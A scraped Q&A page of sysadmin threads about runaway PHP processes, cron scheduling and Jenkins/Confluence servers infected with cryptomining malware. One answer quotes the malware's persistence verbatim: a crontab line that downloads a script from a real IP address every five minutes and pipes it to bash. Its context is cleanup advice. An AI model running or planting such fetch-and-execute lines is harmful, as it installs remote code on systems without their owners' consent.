We have a CentOS server that runs our PHP scripts.
Sometimes when we start a script from a browser and the browser is closed the job keeps running on the server.
Is there a way to kill that particular job ?
On the server I can see a bunch of /usr/sbin/httpd jobs running, but how do I know that is the job that was started in the browser, so I make sure I'm not killing some other job ?
It would be useful if you provided details of the particular jobs that are being started by the users.
Its difficult to know which thread the script is running on, It would probably be more effective to set your max_execution_time in your php.ini file to something suitable.
If you are getting zombie processes, you could try something like the solution to this other question on SO:
bash script to kill php process older then an hour
There are other options available depending on what the scripts are doing, but it's difficult to say without knowing what it's doing
Related
I am using non-containerized jenkins on server. It gets terminated automatically each time I try to restart it.
Process which is killing jenkins is "/var/tmp/bbb/bbb". This process gets triggered by jenkins and even If I try to kill this process and restart jenkins service, jenkins again trigger this process which eventually happen to be a reason for termination of jenkins.
/var/tmp/bbb/bbb
I've also searched on google but couldn't find anything useful. Please help.
servers htop report here
Check your root crontab.
I found the same process, made investigation. My instance was using for mining with scripts in crontab.
These scripts stop processes, stop all security services and syslog, create new users, find ssh-keys, change iptables, etc.
I'm running a Jira and a Confluence instance (and nginx reverse proxy) on a VPS. Currently, I can't start the confluence for some reason and I think this is a consequence of something else.
I've checked the process list:
The confluence user running the /boot/vmlinuz process and it eats the CPU. If I kill -9 this process it starts again a few seconds later.
After reboot the VPS:
Confluence and Jira started automatically.
Confluence is running a few seconds correctly then something kills the process. The Jira process is still running.
The /boot/vmlinuz process starts.
I've removed the Confluence from the automatic start, but it doesn't matter.
So my questions:
What is this /boot/vmlinuz process? I never saw this. (Yes I know, the vmlinuz is the kernel)
Why is starting over and over again and runs on 100% CPU?
What should I do to get back the normal behavior and may I start the Confluence?
Thanks any for answer
UPDATE
It caused by a hack. If you find a /tmp/seasame file, your server is infected. It uses the cron to download this file. I've removed the files in the /tmp folder, killed all the processes, disabled the cron for the confluence user, and updated the Confluence.
Your server looks like hacked.
Please take a look on process list closely.
e.g. run ps auxc and take a look on process binary sources.
You can use tools like rkhunter to scan your server but in general you should at the beginning kill everything that has been lunched as confluence user, scan your server/account, upgrade your confluence (in most cases user determinate source of attack), and look in your confluence for additional accounts etc.
Is you would like to see what is in that process, take a look on /proc e.g. in ls -la /proc/996. You will see source binary there too. You can also lunch strace -ff -p 996 to see what process is doing or cat /proc/996/exe | strings to see what strings that binary have. This is probably some kind of botnet part, miner etc.
I had same problem, it was hacked, the virus script was at /tmp, find the script name from command "top" (insignificance letters，name of "fcbk6hj" was mine. )and kill the processes(maybe 3 processes)
root 3158 1 0 15:18 ? 00:00:01 ./fcbk6hj ./jd8CKgl
root 3159 1 0 15:18 ? 00:00:01 ./fcbk6hj ./5CDocHl
root 3160 1 0 15:18 ? 00:00:11 ./fcbk6hj ./prot
kill all of them and delete /tmp/prot, and kill the process of /boot/vmlinuz, CPU's back.
I found that virus had dowloaded script to /tmp automatically, my method was mv wgetak to other name.
Virus behavious:
wgetak -q http://51.38.133.232:80/86su.jpg -O ./KC5GkAo
found following task was written in crontab, just delete it:
*/5 * * * * /usr/bin/wgetak -q -O /tmp/seasame http://51.38.133.232:80 && bash /tmp/seasame
After remove this from system and crontab, maybe is good idea (at least for now) to add confluence user to /etc/cron.deny.
And after:
$ crontab -e
You (confluence) are not allowed to use this program (crontab)
See crontab(1) for more information
I met same question too at the same time,maybe it is a confluence bug. I just kill confluence process,the it got alright.
As you found out, this is malware — actually cryptojacking malware, intended to use your CPU as a cryptocurrency miner.
Your server has very likely been compromised because of a Confluence vulnerability (see first answer of this reddit post), however one should know that this is NOT ITS ONLY WAY OF PROPAGATION — this can't be emphasize enough. As a matter of fact a server of mine has been compromised as well although it doesn't run Confluence (I don't even know this software…), and the so-called /boot/vmlinuz process was ran by root.
Also, beware that this malware tries to propagate through SSH using known_hosts and SSH keys, so you should check other computers you accessed from this server.
Finally, the reddit post links to this comprehensive description of this malware, which is worth a read.
NB : Don't forget to send a report to the IP's ISP abuse email address.
I want to create an application that runs in the background in Linux (daemon) that will basically at set times (5 times) play a music file or any sound given every single day. I want this daemon to start when the computer is started in terminal mode (non-GUI). I want to know if this is possible and if so, What considerations, tools, and programming language would be the most efficient in doing so? This will be a dedicated computer that will only be executing this task, so if any recommendations on how I can maximize efficiency while disabling other features that are not required for this task will be appreciated. Also, could you please explain how processes and tasks work in terminal (non-GUI)? I always thought terminal was something like CMD in Windows and can only run tasks one at a time.
EDIT: I need the sound to run at variable times, I'll be fetching these times from a website. Any suggestions regarding how to achieve this?
Thanks for the help and sorry for any shortcoming in the questions or my research.
Look at using cron to run your tasks. cron is a very flexible scheduling utility built in to most Linux distributions.
Basically, with cron you specify a task to run (your main program, or maybe just a sound-playing program), all of its arguments, and when it runs. cron takes care of running it, and will even send you "mail" if the job produces any output (such as errors).
You can make processes fork into a subprocess of your terminal, i.e. you are able to run more than one task at a time by putting a & after your terminal command:
> cmd&
> [you can type other commands here but the "cmd" program is still running]
However, for services you generally don't have to worry about starting it as a subprocess because the system already knows to do this. Here's a good question from Super User that has an example of a working service. Simply place your service as a shell script in the /etc/init.d and it will be automatically started as a service.
I'm a webhosting owner, I don't know why currently, but I have some php scripts that are launched for many hours (as personnaly known customers), so I think there is a bug somewhere.
These scripts are eating the RAM AND the swap... So I'm looking for a way to list processes, find the execution time, kill them 1 by 1 if the execution exceed 10 or 20 minutes.
I'm not a bash master, but I know bash and pipes. The only thing I don't know, is how to list the processes (with execution time AND complete command line with arguments). Actually, even in top (then c) there is no arguments in php :/
Thanks for your help.
If you are running Apache with mod_php, you will not see a separate PHP process since the script is actually running inside an Apache process. If you are running as FastCGI, you also might not see a distinguishable PHP process for the actual script execution, though I have no experience with PHP/FastCGI and might be wrong on this.
You can set the max_execution_time option, but it is overridable at run time by calling set_time_limit() unless you run in Safe Mode. Safe mode, however, has been deprecated in PHP 5.3 and removed in 5.4, so you cannot rely on it if you are on 5.4 or plan to upgrade.
If you can manage it with your existing customers (since in some cases it requires non-trivial changes to PHP code), running PHP as CGI should allow you to monitor the actual script execution, as each CGI request will spawn a separate PHP interpreter process and you should be able to distinguish between the scripts they are executing. Note, however, that CGI is the least effective setup (the others being mod_php and FastCGI).
You can use the ps -aux command to list the processes with some detailed information.
You can also check out the ps man page.
This might also be of some help.
I want to create a website application, that will allow our members to get text message/email alerts every day 1 hour before their lesson (a reminder).
My server-side language background is strictly in PHP (although I've tampered some c++ back in the day). For this to work, obviously, I'll needs to somehow run a program constantly on my server.
Can this be accomplished in PHP?
If yes, is php efficient at this?
If not, how can I do this?
Or, maybe, this an entirely wrong approach, and there's a better way of creating such a service.
yes, u can consider make PHP as a daemon
or check this out php execute a background process
or simply use cron - http://en.wikipedia.org/wiki/Cron
but you should NOT create a web service/application just to run background PHP processes, it should cater for complex job
Sure, you can use PHP as a scripting language on the server. It's just as capable as any other.
Write a PHP script that checks your database for what members need to be alerted, then sends the message. Add a crontab to run this script every minute/hour/whatever. To run a php script from the command line, you run the php interpreter and give it the script name to run.
$ php /path/to/script.php
You would have to start a service on the server itself or create a CRON job to run at any given interval. If you don't have admin privileges you will have to do a CRON job, which can usually be setup in your host's cpanel.
For instance, you could create a small PHP script that
1) Searched for all lessons that start in the hour proceeding the current hour. So if the script is run at 5pm it would search for lessons that start between 6pm and 6:59.
2) Send an email to those members.
It wouldn't be exactly 1 hour though.